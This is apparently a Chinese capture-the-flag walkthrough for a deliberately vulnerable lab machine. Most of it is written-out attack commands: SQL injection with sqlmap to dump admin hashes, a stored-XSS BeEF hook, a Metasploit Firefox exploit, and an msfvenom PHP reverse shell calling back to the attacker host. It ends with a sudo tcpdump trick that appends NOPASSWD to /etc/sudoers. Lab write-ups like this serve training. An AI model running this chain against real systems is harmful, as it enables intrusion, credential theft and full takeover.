根据靶机的描述得知该靶机适用于静态ip,即192.168.110.151;配置虚拟机的虚拟网络编辑器的仅主机模式,将其子网IP配置在110网段,并将攻击机kali和靶机也设置为仅主机模式
靶机的MAC地址:
一、信息收集
扫描目标主机
arp-scan -l
使用nmap扫描靶机开放的端口
nmap -sV -p- 192.168.110.151
现在能利用的好像只有ssh服务,尝试访问ssh服务,发现了用户Peter以及密码inthesource
ssh 192.168.110.151 -p 65535
使用ssh远程连接Peter用户,却发现连接断开
ssh peter@192.168.110.151 -p 65535
重新扫描靶机开放的端口,发现又开放了一个80端口
浏览器访问80端口
看到BEEF,瞬间想到一个xss工具beef-xss,也许可以在后续的步骤中加以利用
使用disearch进行目录扫描
dirsearch -u http://192.168.110.151/
拼接/blog/
尝试刚才得到的peter用户进行登录发现失败,看到搜索框输入1再使用sqlmap测试是否存在SQL注入,存在
sqlmap -u http://192.168.110.151/blog/index.php?search=1 --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 --dbs --batch
依次查看各数据库,发现在oscommerce数据库存在账号密码
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce --tables --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators --columns --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators -C user_name,user_password --dump --batch
得到一组新的账号密码admin 685cef95aa31989f2edae5e055ffd2c9解密得到32admin(解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5)
二、Getshell
来到注册页面,注册成功后点击Members,弹出弹框,说明此处存在XSS漏洞
<script>alert(1);</script>
123456
123456
(!!!建议还原即初始化靶机,此XSS漏洞类型为存储型,不初始化后续可能会无法上线😭衷心告诫😭)使用beef创建XSS平台
apt install beef-xss
beef-xss
将红框中的数据作为用户名在blog中注册一个用户,把127.0.0.1替换为Kali的地址(192.168.110.128)
<script src="http://192.168.110.128:3000/hook.js"></script>
123456
123456@qq.com
点击Register——再点击页面上的Members,之后可以看到靶机已上线,发现火狐浏览器版本为15存在漏洞
http://192.168.110.128:3000/ui/panel
因为靶机用的是火狐浏览器,所以选用火狐模块攻击
msfconsole
use exploit/multi/browser/firefox_proto_crmfrequest
set payload generic/shell_reverse_tcp
set srvhost 192.168.110.128
set uripath shell
set lhost 192.168.110.128
run
在beef中调用iframe进行利用
发现每隔5秒会话会自动中断,需要迅速切换反弹shell为meterpreter
use post/multi/manage/shell_to_meterpreter
set session 1
run
sessions
sessions 2
shell
python -c 'import pty; pty.spawn("/bin/bash")'
三、milton用户提权
因为刚刚peter连接SSH时被踢出来了,所以先看看SSH的配置文件,发现在文件尾写到登入peter时会运行/usr/bin/startme
查看对应文件内容,startme的作用是开启apache服务, 所以登录成功peter才开放80端口
cat /usr/bin/startme
cd /home
ls -la
查看完这三个文件夹发现没多大用处,那就继续检查网络状态,发现有2323端口在运行
netstat -tln
使用telnet连接端口,提示一个坐标位置,基于坐标进行地图查询发现为休斯顿的地址位置,使用账号milton登录,密码Houston尝试登录
cd ~
telnet 127.0.0.1 2323
查找milton账号所属文件,提示答案为mine
find /usr -user milton
cat /usr/local/bin/cd.py
再次使用telnet连接2323端口,成功实现milton用户提权
四、blumbergh用户提权
再次查看网络信息,提示8888端口已经放开
访问8888端口,显示有2个页面,访问第一个页面会进入CMS中
使用dirsearch对其进行目录扫描
dirsearch -u http://192.168.110.151:8888/oscommerce/
拼接/admin/,出现了一个登录框
尝试弱口令进行登录admin admin,发现登录成功
存在可利用的点,在Tools发现了一个文件管理器
在include/work路径下上传木马,使用MSF生成反弹shell木马,并上传到服务器中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=9999 -f raw -o shell.php
kali开启一个服务,将生成的shell.php下载到本地再上传到服务器中
MSF设置监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 9999
run
访问木马路径文件,反弹成功
http://192.168.110.151:9999/oscommerce/includes/work/shell.php
获取交互式shell,发现此时用户为blumbergh,依旧是低权限
shell
python -c "import pty;pty.spawn('/bin/bash')"
sudo -l #查看可运行的sudo命令
切换到 tmp 目录,构造1.sh 脚本文件以实现提权,然后执行GTOFbins中给出的 sudo 命令,实现脚本利用
cd /tmp
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test && chmod +x /tmp/test
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
sudo su
提权成功!